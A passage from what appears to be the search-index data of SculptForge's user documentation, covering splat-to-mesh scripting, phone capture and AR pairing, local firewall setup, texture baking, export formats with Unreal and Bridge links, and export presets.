rotate_x=180 fit=true; splat_to_mesh preset=game color=texture; export_glb path=bust.glb' # The app's review in two steps: the scan with its face guides (the message lists the landmarks found), then the # quads along those guides. sculptforge-cli -c 'open path=head.ply; splat_to_mesh stage=scan preset=film; splat_to_mesh stage=finish preset=film; export_glb path=head.glb' To correct the landmarks from a script, run face_guides between the two stages with landmarks= set to the JSON the scan stage printed, edited: {\"eye_outer_l\": [x, y, z], \"eye_inner_l\": [...], \"eye_inner_r\": [...], \"eye_outer_r\": [...], \"nose_tip\": [...], \"mouth_l\": [...], \"mouth_r\": [...], \"chin\": [...]} (l is the side on the left of the screen when looking at the face). Each run in the app is echoed to the console as a splat_to_mesh line (with the landmarks when you reviewed them), so you can copy it into a batch script."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"see-also","h":"See also","t":"Gaussian splats: loading, placing and saving captures Quad retopology and detail projection: Quad Remesh, Quad Remesh Guides and Project All Subdivision levels: sculpting the Sculpt preset's levels Texture painting: painting on the Texture result"},{"p":"phone-capture.html","c":"Phone capture and AR","a":"","h":"Phone capture and AR","t":"Your phone becomes SculptForge's camera and second screen. Scan an object by walking around it, send a photo to turn into a model, bring in a splat from a scanning app, look at your sculpt standing on your real desk in AR, and drive a character's face with your own. There is no app to install and no account: the phone's browser talks to SculptForge over your Wi-Fi."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"pair-your-phone","h":"Pair your phone","t":"Choose File > Capture from phone (or the phone button in the Library's header). A window opens with a QR code. Point the phone's camera at the QR code and tap the link it shows. The capture page opens, already paired with this window: the badge at its top shows your computer's name. The phone and the computer must be on the same Wi-Fi. If the phone has no QR scanner, open the address shown under the code in its browser and type the 6-digit pairing code. The link works only while the window is open: closing it stops SculptForge listening, and the next time you open it there is a new code. A code nobody uses expires after 10 minutes. Tip: The phone can't open the page? Check that it isn't on a guest network or mobile data, turn off VPNs on both devices, and allow SculptForge through the firewall (Windows asks the first time; choose private networks). If the computer has several networks, pick the Wi-Fi one under Network in the window."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"this-site-cant-be-reached-on-android","h":"\"This site can't be reached\" on Android","t":"Recent versions of Chrome on Android can refuse to open any address on your home network, even your router's, and show This site can't be reached (under Details: ERR_TOO_MANY_RETRIES). Until SculptForge's capture page moves to the website, the simplest fix is to use Firefox on the phone: install it from the Play Store, open the address shown under the QR code (for example http://10.0.0.117:8765), allow it to reach devices on your local network when it asks, and type the 6-digit code. Firefox can also be set as the phone's default browser so the camera's QR links open there."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"linux-firewall","h":"Linux firewall","t":"Many Linux desktops (Omarchy, Ubuntu with ufw enabled, Fedora with firewalld) block incoming connections, so the phone's request never arrives. Allow SculptForge's port from your home network only, TCP for the page and UDP for the direct link that AR on Android and face capture use, for example with ufw: sudo ufw allow from 10.0.0.0/24 to any port 8765 comment 'SculptForge phone capture' Use your own network's range (the first three numbers of the address under the QR code, then .0/24). With firewalld: sudo firewall-cmd --add-port=8765/tcp --add-port=8765/udp (add --permanent to keep it)."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"scan-an-object","h":"Scan an object","t":"Tap Scan an object, read the tips, and tap Record a video. Walk slowly all the way round the object, then once more a little lower, for 20 to 60 seconds: slow and steady, no quick turns; soft, even light, without hard shadows or shiny reflections; the whole object in the middle of the screen, at about the same distance all the way (don't zoom). You can also send a video you already took, or 20 to 200 photos (Choose photos). The page warns you when a video is very short or very long. Tap Send to SculptForge: the upload shows its progress on the phone and in SculptForge's window. Big videos over shaky Wi-Fi are fine: the page sends them in pieces and carries on where it stopped if the connection drops. Keep the page open and the screen on until it says Sent. What arrives is saved in your library's Captures folder (see below) and handed to splat training, which turns it into a Gaussian splat that sharpens in the viewport while it trains. See Gaussian splats."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"one-photo-to-3d","h":"One photo to 3D","t":"Tap One photo to 3D and take a photo (or choose one). One object, the whole of it in the picture, on a plain background works best. SculptForge loads it into Mesh > Generate 3D > Image to 3D and starts generating with the service chosen there (free Hugging Face models by default). Turn off Generate from a photo at once in the window to check the photo first and press Generate yourself. See Image and text to 3D. The phone sends large photos at about 2048 pixels, which is plenty and much faster."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"send-a-splat-file","h":"Send a splat file","t":"Already scanned it with Scaniverse, Polycam or Luma? Export a Gaussian splat .ply from the app, tap Send a splat file and choose it. It opens next to your sculpt as a splat. A .ply that is a plain mesh becomes a new Part instead, so it never replaces your work."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"view-in-ar","h":"View in AR","t":"Tap View in AR, choose what to show (the Active Part or the Whole scene) and how big it should be on the desk (10 cm to 1 m), then Get the model. SculptForge prepares a phone-friendly copy: reduced to about 80,000 triangles, its vertex paint or texture baked into one texture, standing on its base. When it is ready, tap View in AR and point the phone at a desk or the floor. iPhone and iPad open it in AR Quick Look (a USDZ file). Android opens an AR page on sculptforge.app in Chrome. Your sculpt comes to it encrypted through SculptForge's relay (the key is only in the link; the copy is deleted after 10 minutes), so it works even if Chrome can't reach your computer; without internet it comes straight over Wi-Fi. When your sculpt shows on the page, tap View in your room and then Open Google's AR viewer: this puts a readable copy on the relay (deleted after 10 minutes), because Google's viewer only loads models from the internet. Or tap Place it with Chrome's AR instead. Either way, use a well-lit room and move the phone slowly over a table or the floor until the model appears. AR needs Google Play Services for AR: if even other websites' AR opens and closes at once, update it, or clear its storage and restart the phone. Firefox can't show AR: if the capture page is open in Firefox, the AR page offers Open in Chrome. Download the model saves the file instead. Keep sculpting: while the phone is looking, every few seconds after a stroke SculptForge exports the model again and the page says Updated from your sculpt. On iPhone, tap View in AR again to see the change; Android's AR page updates by itself. Turn off Update after each stroke in the window to stop that."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"face-capture","h":"Face capture","t":"Tap Face capture, then Start face capture. Your phone's front camera tracks your face with MediaPipe Face Landmarker, which runs on the phone: the video never leaves it. About 30 times a second only the 52 expression weights (the ARKit set: jawOpen, eyeBlinkLeft, mouthSmileRight...) and the head's rotation go to SculptForge. Prop the phone up at eye level, about an arm's length away, with light on your face. The window's Face section shows a little face following yours and the frame rate. The weights drive the character's facial shapes on the active Part (made with Generate facial shapes). If the character winks with the wrong eye, tick Mirror left and right. Record face take records the feed until you press it again. Each take is saved in the Captures folder as take.jsonl: one line per frame with the 52 weights, the head rotation and the time, ready to play back or export. Note: The camera only works on secure (HTTPS) pages, so the face page lives on the SculptForge website. The address it opens carries the connection details after a #, which browsers never send to the website. To set up the connection the phone sends one encrypted message through SculptForge's relay (or ntfy.sh, a free public relay, if ours can't be reached); neither can read it. Without internet, tap Connect without internet on the face page. After that the face data goes straight over your Wi-Fi."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"the-captures-folder","h":"The Captures folder","t":"Everything the phone sends is saved in your library (the folder the Library shows, normally Documents/SculptForge), under Captures, one folder per capture: Captures/2026-10-26_195803-splat/scan.mov Captures/2026-10-26_195803-splat/capture.json Captures/2026-10-26_201544-photo/IMG_0412.jpg Captures/2026-10-26_203012-face/take.jsonl capture.json records the kind (splat, photo, ply or face), the device, the files and the times. The window's Received list opens a capture's folder."},{"p":"phone-capture.html","c":"Phone capture and AR","a":"privacy-and-security","h":"Privacy and security","t":"Only devices on your local network can connect, and only while the window is open. Every request needs the session's secret token (it is in the QR code) or the pairing code. Uploads have size limits (4 GB a file, 8 GB a capture), file names are cleaned, and files are written only inside the Captures folder. Nothing you capture is uploaded anywhere except to your computer. A photo goes on to the image-to-3D service you chose in SculptForge, as it does when you pick it yourself."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"","h":"Baking normal and displacement maps","t":"Game engines and renderers want light meshes. Baking captures the detail of your high-poly sculpt as images laid over the UVs of a low-poly version: a normal map makes the low-poly shade as if it had every crease and pore, a displacement map stores how far the surface moves, and ambient occlusion, cavity and colour maps feed materials. Tool > Bake makes all of them in one go, in the background, and shows the normal map on the low-poly right away so you can compare it with the sculpt. A 330,000-triangle sculpt (left) next to its 2,000-triangle low-poly wearing the baked normal map (right), with Tool > Bake open"},{"p":"baking.html","c":"Baking normal and displacement maps","a":"what-you-need","h":"What you need","t":"A high-poly source: one or more Parts with the detail. They stay as they are. A low-poly Part with UVs, in the same place as the high-poly. It can come from another app (import it with Tool > Parts > Append; models with UVs keep them), or you make it in SculptForge: Duplicate the sculpt, Tool > Geometry > Decimate it, then Tool > Texture Map > Auto UV. The maps go onto the active Part, so select the low-poly before baking."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"bake-in-five-steps","h":"Bake in five steps","t":"Select the low-poly Part and open Tool > Bake in the right tray. The first line says which Part the maps go onto, or \"No UVs\" if it needs Auto UV first. Source: leave All visible Parts to bake from everything that is shown (except the low-poly), or pick one Part. Tick the maps you want, and choose the size (1K, 2K, 4K or 8K). Click Bake. A progress bar shows while it works on every processor core; you can keep working, or click Cancel Bake. When it is done, the status line reports what was baked and where the files went, and the low-poly shows its normal map. Hide the high-poly (Tool > Parts, the eye) to compare, or untick Preview Normal Map to see the bare low-poly."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"the-maps","h":"The maps","t":"Map File What it holds Normal (tangent) _normal.png The high-poly's surface direction relative to the low-poly, in tangent space. The map for game engines Normal (object / world) _normal_object.png The high-poly's normals in model space (Parts have no transform of their own, so this is also the world normal). For tools that want object-space maps Displacement _displacement.png and .exr The distance from the low-poly to the high-poly along the low-poly's normal Ambient Occlusion _ao.png How much of the sky each point sees: darker in creases, folds and cavities Cavity _cavity.png The fine surface curvature: mid-grey where the surface is smooth, dark in cracks, light on ridges Colour _color.png The source's vertex paint, or its painted texture Curvature _curvature.png How the surface bends: mid-grey flat, brighter on convex edges and ridges, darker in creases. A bend of the curvature radius (2% of the model's size by default) is fully bright or dark. Drives edge wear Thickness _thickness.png How far rays travel through the high-poly before leaving it: dark where it is thin (ears, fins, blades). Drives translucency Position _position.png (16-bit) Each point's place in the bounding box, as red, green and blue. Drives gradients and noise without UV seams ID _id.png A flat colour per face group (or per Part, id=parts), to pick areas in other programs is the low-poly Part's name. Colour is skipped when the source has neither vertex paint nor a texture. Tool > Bake with the Part's own top subdivision level as the source and the Mesh Maps ticked"},{"p":"baking.html","c":"Baking normal and displacement maps","a":"bake-from-the-parts-own-levels","h":"Bake from the Part's own levels","t":"A Part with subdivision levels can bake its sculpted detail onto itself: choose Own top subdivision level as the Source, and the top level is baked onto the lowest level's UVs (give the lowest level UVs first). A Part with a micro level offers Own micro level, baked onto its base. No second Part, no matching: the levels share their UVs."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"udim-tiles","h":"UDIM tiles","t":"When the low-poly's UVs go beyond the 0..1 square (UDIM tiles, for example from the UV Editor), every tile bakes as its own set of maps: _normal.1001.png, _normal.1002.png, ... (1001 + u + 10 v, the usual numbering). The same maps, baked on the texture's own UVs, feed Fill layers inside SculptForge."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"tangent-space-normal-maps-that-look-right-everywhere","h":"Tangent-space normal maps that look right everywhere","t":"SculptForge computes tangents with MikkTSpace, the same method Blender, Unreal Engine, Unity, Godot, Substance and xNormal use. A map baked here shows correctly in all of them, as long as the low-poly is exported with its normals and UVs (every SculptForge export keeps them). Choose the green channel convention under the map settings: OpenGL (Y+): Blender, Unity, Godot, Substance, three.js. The default. DirectX (Y-): Unreal Engine's native convention. Send to Unreal flips an OpenGL map on import (see below), so you only need DirectX when you import into Unreal by hand."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"displacement-mid-grey-is-zero","h":"Displacement: mid-grey is zero","t":"The 16-bit PNG stores zero displacement as mid-grey, the high-poly outside the low-poly as lighter and inside as darker. White means +scale and black -scale in world units; the scale is the largest distance found, shown under the Bake button (\"Displacement: mid-grey = 0, white = +0.0143\") and in the status line. Use it as the displacement strength in your renderer (with a midlevel of 0.5). With EXR displacement ticked, a 32-bit float OpenEXR holds the real distances in world units, with no scale to set."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"settings","h":"Settings","t":"Setting What it does Source The high-poly: one Part, or every visible Part except the active one. Hidden faces of the source are ignored Size 1K, 2K (default), 4K or 8K square AA Anti-aliasing: 1 to 4 means 1, 4, 9 or 16 rays per texel, averaged. 2 (the default) gives clean edges Auto distance Measure how far the high-poly lies in front of and behind the low-poly, and cast rays just that far. After a bake, Front and Rear show what it measured Front / Rear With Auto off: how far in front of the low-poly rays start, and how far behind it they look, as a percentage of the model's size (its bounding-box diagonal). Other bakers call these the max frontal and rear distances Padding Texels around each UV island filled with the island's edge colours, so seams don't show once an engine mipmaps the map. 8 suits 2K; use 16 for 4K and 8K OpenGL / DirectX The normal map's green channel convention (see above) AO rays, AO reach Ambient occlusion quality, and how far away geometry still darkens a point (a percentage of the model's size) Output folder Where the files go. Empty: beside your last export, else the project's folder, else Bakes in your library folder. Open Folder shows it after a bake EXR displacement Also write the displacement as a 32-bit float EXR"},{"p":"baking.html","c":"Baking normal and displacement maps","a":"how-the-bake-works","h":"How the bake works","t":"For every texel of the low-poly's UVs, SculptForge finds the matching point on the low-poly and casts a ray along its smoothed normal, from Front outside the surface to Rear inside it (a \"cage\"), and keeps the high-poly hit nearest to the low-poly. The normal, distance, occlusion and colour found there go into the maps. Rays follow the smoothed normals, so hard edges of the low-poly don't leave gaps. Missing detail (\"x% of texels found no surface\" in red under the Bake button): rays didn't reach the high-poly. Turn off Auto distance and raise Front and Rear. Detail from the wrong place (for example the inside of an ear showing on its back): the rays reach too far. Lower Rear (or Front), or bake the parts from separate Parts with Source. The bake works on copies, so you can keep sculpting meanwhile. If the low-poly's triangles or UVs change afterwards, the normal map preview turns off because it no longer fits (undo brings it back). Tip: Bake time grows with the map area and the number of rays. On a 10-core Apple M1 Pro, from a 1.3-million-triangle sculpt: a 4K tangent normal map plus displacement (AA 2) takes about 4 seconds, the same at 8K about 11 seconds. Ambient occlusion costs the most: adding it at 4K with 48 rays per texel brings the bake to about 30 seconds. Try settings at 1K, then bake the final maps at 4K."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"send-to-unreal-with-the-normal-map","h":"Send to Unreal with the normal map","t":"When the last bake made a normal map, its low-poly Part is shown and still fits the map, Send to Unreal (Tool > Export) imports the map too, as T__N next to the mesh, set up as a normal map (linear, normal map compression), with Unreal's Flip Green Channel set for an OpenGL map. This works with an Unreal Editor on the same computer; for one on another computer, import the PNG by hand. See Exporting, Unreal and Bridge."},{"p":"baking.html","c":"Baking normal and displacement maps","a":"commands","h":"Commands","t":"Command What it does bake Bake onto the active Part and write the maps. Options: source=all, a Part name, subdivision or micro, maps=normal,object_normal,displacement,ao,cavity,color,curvature,thickness,position,id (or all), udim=true, thickness_rays=24, thickness_distance=0.1, curvature_radius=0.02, id=facegroups or parts, size=2048 (512 to 8192, or 1k...8k), out=folder, name=prefix, front=0.02 and rear=0.02 (fractions of the model's size, or auto), samples=2, padding=8, ao_rays=48, ao_distance=0.05, green=opengl or directx, displacement_scale= (world units at white), exr=true For example, from the console or sculptforge-cli: part_select name=Body_low; bake source=Body maps=normal,ao,displacement size=4096 out=maps The command runs in the foreground (scripts wait for it); the Bake button runs the same bake in the background. See Scripting and automation."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"","h":"Exporting, Unreal and Bridge","t":"This chapter covers getting your sculpt out of SculptForge: the export formats and what each one keeps, LOD chains for games, sending a mesh straight into a running Unreal Editor, and exchanging models with another sculpting application through the Bridge. To keep everything (Parts, layers, mask, vertex paint, brushes) use a project file instead; see Projects, autosave and snapshots."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"export-formats-at-a-glance","h":"Export formats at a glance","t":"Exports write every visible Part. Hidden Parts are left out. Exporting doesn't rename the document or mark it saved, so your next Ctrl+S still saves the project. Format Where in the app Keeps Use it for glTF binary (.glb) File > Export GLB... (Ctrl+E) One node per Part, sculpt layers as morph targets, vertex paint as vertex colour, UVs and the painted texture (embedded) Games, Blender, three.js, web viewers LOD chain (.glb per level) File > Export LOD Chain... As GLB, one file per level, blend shapes on every level Game engines OpenUSD (.usda, .usdz) File > Export USD / USDZ... One Mesh prim per Part, quads, layers as UsdSkel blend shapes, vertex paint as displayColor, UVs (primvars:st) and the painted texture through a preview material (inside a USDZ), loaded splats Film pipelines, Omniverse, Apple AR Quick Look FBX for Unreal (.fbx) File > Export FBX for Unreal... Unreal naming and scale, quads, UVs, LOD group, layers as blend shapes, the painted texture as a PNG beside it Unreal Engine (by hand) Wavefront OBJ (.obj) File > Export OBJ... One o object per Part, quads, face groups as g groups, vertex paint as vertex colour, UVs, the painted texture through a .mtl (map_Kd) and a PNG beside it. Layers are baked into the current blend Any 3D app Bridge file File > Bridge > Export Bridge file... Quads, face groups, mask, vertex paint, UVs, the painted texture as a PNG beside it The Bridge STL (.stl) File > Bridge > Export STL... Geometry only (triangles), visible Parts merged, in millimetres with Z up 3D printing PLY (.ply) export_ply command Geometry, quads and vertex paint, visible Parts merged Scan tools, MeshLab, Blender FBX (general) export_fbx command One model per Part, quads, UVs, blend shapes, optional LOD groups, the painted texture Other FBX pipelines The GLB, LOD chain and FBX for Unreal exports are also in the Tool palette under Export, together with the LOD and Unreal settings. \"Quads\" means the quads the model came in with (or got from Plane, Cube, Subdivide or Voxel Remesh) are written as quads, the rest as triangles; see Quads and triangles. glTF and STL can only hold triangles. The Tool > Export sub-palette with a generated LOD chain and the Unreal Engine settings UVs are kept through OBJ, FBX, USD, glTF and Bridge files, in and out. A Part with a painted texture is exported with it: the PNG is written next to the file as _color.png (__color.png with several Parts) and referenced by the model, or embedded in GLB and USDZ files. Spaces in the file name become _ in the names of the files written beside it (my scene.obj gets my_scene.mtl and my_scene_color.png), because OBJ and MTL separate file names with spaces. Tool > Texture Map > Auto UV gives any sculpt UVs before export. Normal, displacement and other maps come from Tool > Bake as separate image files. Textured exports are checked against other tools, not only read back by SculptForge: GLB files pass the Khronos glTF validator with no errors or warnings; USD and USDZ files pass OpenUSD's validators (the USDZ files are uncompressed, 64-byte aligned and have the root layer first); FBX files load in ufbx's strict mode with their textures connected; and in all four formats plus OBJ, the texture is sampled the right way up (each format's UV convention), checked colour by colour against SculptForge's own sampling. The scripts are in tools/export_check/ in the source tree."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"scale-and-axes","h":"Scale and axes","t":"glTF, USD and OBJ are written Y-up with 1 unit = 1 metre, the same space you sculpt in. FBX uses centimetres: export_fbx multiplies positions by 100 by default (scale=), so 1 unit = 1 m. STL is written in millimetres with Z up, as slicers expect: a 0.3 m sculpt prints 300 mm tall, standing upright. export_stl height_mm=80 scales it to a print height instead (see 3D printing). Opening an STL converts back, so a downloaded print model comes in upright and at its real size. STL files from SculptForge 0.5 and earlier (metres, Y up) are recognised and open as they were saved. PLY keeps positions as they are (no unit conversion). For Unreal, Height sets the real-world size directly (see below)."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"export-a-model","h":"Export a model","t":"Show the Parts you want to export and hide the others (the eye icon in Tool > Parts). Choose the export in the File palette and pick a file name. The status line confirms the export (\"Exported ...\"). A Part with subdivision levels is exported at the level you are on. To write the base cage (or any other level) without stepping to it, use subdiv_export path=base.obj level=1. From a script, each format is one command: sculptforge-cli -c 'open path=bust.sfproj; export_glb path=bust.glb' sculptforge-cli -c 'open path=bust.sfproj; export_usd path=bust.usdz' sculptforge-cli -c 'open path=bust.sfproj; save_obj path=bust.obj' sculptforge-cli -c 'open path=bust.sfproj; export_fbx path=bust.fbx lods=3 ratio=0.5' sculptforge-cli -c 'open path=bust.sfproj; export_stl path=bust.stl; export_ply path=bust.ply'"},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"3d-printing","h":"3D printing","t":"File > Bridge > Export STL... writes every visible Part as one binary STL, ready for a slicer (PrusaSlicer, Cura, Bambu Studio, OrcaSlicer ...). The status line gives the printed size, for example \"Exported lion.stl (47214 triangles, 320.8 x 206.6 x 436.4 mm)\": width, depth and height as the slicer shows them. Size: 1 unit in SculptForge is 1 m, so 1 unit becomes 1000 mm. To print at a given height, use export_stl path=lion.stl height_mm=80, or scale the model in the slicer. One solid: overlapping Parts go into the file as they are, which some slicers and print services reject. Merge visible them (Parts) and Remesh to turn them into one closed surface first. Detail: printers resolve about 0.05-0.1 mm, so millions of triangles rarely help. Decimate makes the file smaller without visible loss. sculptforge-cli -c 'open path=bust.sfproj; export_stl path=bust.stl height_mm=120' sculptforge-cli -c 'open path=bust.sfproj; export_stl path=bust.stl scale=1 z_up=false' # sculpt space as it is"},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"lod-chains-for-games","h":"LOD chains for games","t":"A LOD (level of detail) chain is the same model at decreasing triangle counts, so an engine can draw distant objects cheaply. SculptForge builds it with quadric decimation, keeping blend shapes on every level. Open Tool > Export. Set LODs (2 to 6 levels, including LOD0) and Reduction (0.1 to 0.9: the triangle ratio from one level to the next, default 0.5). Click Generate LOD chain. A table lists each level with its triangle count and its share of LOD0. Click a level (LOD0, LOD1 ...) to inspect it in the viewport; the wireframe turns on. Click Sculpt to go back to the editable mesh. Export with LOD chain (GLB per level), or send it to Unreal (below). Changing the sliders clears the preview; click Generate LOD chain to build it again. The LOD chain export writes _LOD0.glb, _LOD1.glb and so on next to the path you choose. With several visible Parts, each Part is decimated on its own. sculptforge-cli -c 'open path=rock.obj; export_lods path=out/rock.glb levels=4 ratio=0.5' To reduce the sculpt itself instead of exporting copies, use Tool > Geometry > Decimate; see Subdivide, Remesh, Decimate and LODs."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"send-to-unreal","h":"Send to Unreal","t":"Send to Unreal exports an Unreal-ready FBX and imports it into a running Unreal Editor (5.x) on this computer or another one on your network. Nothing is installed into your project: it uses Unreal's built-in Python remote execution. Your sculpt What arrives in Unreal No sculpt layers A static mesh SM_ with the LOD chain from Tool > Export Sculpt layers A skeletal mesh SK_ with one morph target per layer (Unreal adds a single root bone) Several visible Parts One FBX model per Part, combined into one asset on import Any A material slot M_Clay, and the real-world size from Height A baked normal map (Tool > Bake) The texture T__N, set up as a normal map (Unreal on this computer only) A texture with material channels T__BC, T__N (DirectX) and T__ORM (occlusion, roughness, metallic), plus T__E when emissive is painted, and a material M_ built from them and assigned to the mesh (Unreal on this computer only; see Export presets) Sending the same asset again updates it in place (same name and folder), so references in your levels stay intact."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"one-time-setup-in-unreal","h":"One-time setup in Unreal","t":"Edit > Plugins: enable Python Editor Script Plugin, then restart the editor. Edit > Project Settings > Plugins > Python: tick Enable Remote Execution?. That's all when Unreal runs on the same computer."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"send","h":"Send","t":"Open Tool > Export and find the Unreal Engine section. Set Folder (the content folder, default /Game/SculptForge) and Height (the model's height in Unreal, in centimetres; it starts at the model's current height with 1 unit = 1 m). For a static mesh, set LODs and Reduction above (default 4 levels). Click Send to Unreal, or press Ctrl+U. The status line reports the result. The line under the buttons tells you what will be sent: \"Static mesh with 4 LODs\" or \"Skeletal mesh with 2 morph targets\"."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"unreal-on-another-computer","h":"Unreal on another computer","t":"On the Unreal machine, in Project Settings > Plugins > Python, open Advanced and set Multicast Time-To-Live to 1 and Multicast Bind Address to 0.0.0.0. In SculptForge, tick Unreal is on another computer. Both computers must be on the same network, and the SculptForge computer's firewall must allow incoming connections from the Unreal machine: the editor connects back to SculptForge to fetch the file."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"import-by-hand","h":"Import by hand","t":"Export FBX for Unreal... (in the File palette and in Tool > Export) writes the same file. The file name becomes the asset name. Drag it into the Content Browser: static meshes pick up their LODs from the file's LOD group; for skeletal meshes choose Skeletal Mesh and tick Import Morph Targets."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"from-scripts","h":"From scripts","t":"sculptforge-cli -c 'open path=statue.obj; unreal_send destination=/Game/Props height_cm=200 lods=4' sculptforge-cli -c 'unreal_editors network=true' # list editors on the network sculptforge-cli -c 'open path=statue.obj; export_unreal folder=out height_cm=200' unreal_send also takes name=, project= (pick one editor when several are open) and network=true. Note: Layered sculpts are sent as skeletal meshes without the LOD chain, because Unreal's morph targets need a skeletal mesh (Unreal can generate skeletal LODs itself). The Unreal link has been tested against a stand-in editor that speaks the same protocol but not yet against every Unreal version. If an import fails, Unreal's Output Log shows the importer's messages."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"exchange-models-through-the-bridge","h":"Exchange models through the Bridge","t":"The Bridge exchanges Parts with another sculpting application through a shared bridge folder, the way that application's own exchange plug-in does, on Windows and macOS. The commands are in File > Bridge: Item What it does Send Writes every visible Part to the bridge folder and tells the other application (starting it if needed). Each Part arrives as its own object. Turns on Receive automatically Receive Loads what the other application last sent. Each object updates the Part it was sent from (one undo step), or becomes a new Part Receive automatically Checks once a second for a new send and receives it Custom bridge folder (optional) Use another bridge folder, for example inside a Wine prefix Import Bridge file... Opens a Bridge file, replacing the scene Export Bridge file... Writes a Bridge file. With several visible Parts, one file per Part next to the path Export STL... Writes a binary STL of the visible Parts On Windows and macOS the Bridge finds the shared exchange folder by itself; nothing to install. On Linux it needs a custom folder; Bridge files still import and export."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"a-round-trip","h":"A round trip","t":"In SculptForge, choose File > Bridge > Send. The other application starts or comes forward with the Parts. If it was not running and does not import them, use its own import from the bridge. Work there, then send the model back with its exchange plug-in. SculptForge receives it automatically and updates the matching Parts. Each update is an undo step on that Part. The Bridge keeps face groups, mask, vertex paint and UVs. Quads stay quads both ways: Wire shows them as quads. The format has no hidden-face flag, so hidden faces are sent like any others. Note: the Bridge is tested with files, not yet against every version of a live application. If a send does not arrive, export a Bridge file and import it by hand, and please report it (Help > Report a problem). From scripts: bridge_export path=, bridge_import path=, bridge_send, bridge_receive and export_stl path= (see 3D printing for its options)."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"blender","h":"Blender","t":"To sculpt Blender objects in SculptForge and send them back into the same objects, use the SculptForge Bridge add-on and File > Blender: see Working with Blender. For a one-off exchange, OBJ, FBX and glTF all carry Parts, UVs and quads both ways."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"maya","h":"Maya","t":"To sculpt Maya meshes in SculptForge and send them back into the same objects, use the SculptForge shelf for Maya and File > Maya: see Working with Maya."},{"p":"exporting.html","c":"Exporting, Unreal and Bridge","a":"see-also","h":"See also","t":"Working with Blender: the Blender add-on Working with Maya: the Maya shelf script Projects, autosave and snapshots: save everything, not just the mesh Parts: which Parts are exported Layers and blend shapes: what becomes morph targets Subdivide, Remesh, Decimate and LODs: decimate before exporting Gaussian splats: saving splats For studios: formats in a pipeline"},{"p":"export-presets.html","c":"Export presets","a":"","h":"Export presets","t":"Export Maps writes a texture's channels (Material painting) as the image files a game engine or DCC expects: which files, what they are called and how channels are packed into them come from an export preset. SculptForge has presets for the common targets, and you can write your own as a small JSON file."},{"p":"export-presets.html","c":"Export presets","a":"export-maps","h":"Export maps","t":"Open Tool > Texture Map. Under Material Channels, choose a preset in the list next to Export Maps... (hover a preset for what it writes). Click Export Maps... and pick a folder. The files are named after the Part. From a script or the console: export_maps preset=unreal folder=/path/to/maps name=Rock. export_maps list=true lists the presets and their maps. Channels you haven't turned on export their default value (roughness 0.65, metallic 0, flat normal, AO 1), so a preset always writes a complete set. Maps marked optional below are written only when one of their channels is on."},{"p":"export-presets.html","c":"Export presets","a":"built-in-presets","h":"Built-in presets","t":"Preset Files (for a Part called Rock) Normal unreal T_Rock_BC (base colour; opacity in alpha when painted), T_Rock_N, T_Rock_ORM (R occlusion, G roughness, B metallic); optional T_Rock_E (emissive), T_Rock_H (16-bit height) DirectX unity_urp Rock_BaseMap, Rock_Normal, Rock_MetallicSmoothness (R metallic, A smoothness = 1 - roughness); optional Rock_Occlusion, Rock_Emission, Rock_Height OpenGL unity_hdrp Rock_BaseMap, Rock_Normal, Rock_MaskMap (R metallic, G occlusion, B detail mask = white, A smoothness); optional Rock_Emission, Rock_Height OpenGL gltf Rock_baseColor, Rock_normal, Rock_occlusionRoughnessMetallic (R, G, B as glTF expects); optional Rock_emissive OpenGL godot Rock_albedo, Rock_normal, Rock_orm; optional Rock_emission, Rock_height OpenGL blender One file per channel: Rock_BaseColor, Rock_Roughness, Rock_Metallic, Rock_Normal; optional Rock_Height (16-bit), Rock_AO, Rock_Emission, Rock_Alpha OpenGL usd One file per UsdPreviewSurface input: Rock_diffuseColor, Rock_roughness, Rock_metallic, Rock_normal; optional Rock_occlusion, Rock_emissiveColor, Rock_opacity, Rock_displacement OpenGL All files are PNG at the texture's size: 8-bit, except height maps, which are 16-bit greyscale. The normal map is the effective normal: the Normal channel with the height's normal combined in. DirectX presets flip green. Send to Unreal (Exporting) uses the unreal preset and then builds a material M_ in Unreal from the maps: BC to Base Color, ORM's R / G / B to Ambient Occlusion, Roughness and Metallic, N to Normal, E to Emissive. It is an ordinary Unreal material you can edit."},{"p":"export-presets.html","c":"Export presets","a":"material-slots-in-model-files","h":"Material slots in model files","t":"You don't need Export Maps to get the material into a model file: when the texture has material channels, exporting a model writes the maps beside it (or inside it) and wires them into its material. Format What the material gets glTF / GLB Base colour (alpha from opacity, alphaMode BLEND), metallicRoughnessTexture and occlusionTexture from one packed map, normalTexture, emissiveTexture USD / USDZ A UsdPreviewSurface whose roughness, metallic, normal, occlusion, emissiveColor and opacity inputs each read their own map (raw colour space; the normal with scale 2, bias -1) OBJ The MTL's PBR keys: map_Pr (roughness), map_Pm (metallic), norm / map_Bump (normal), map_Ke (emission), map_d (opacity) FBX Textures on the material's NormalMap, 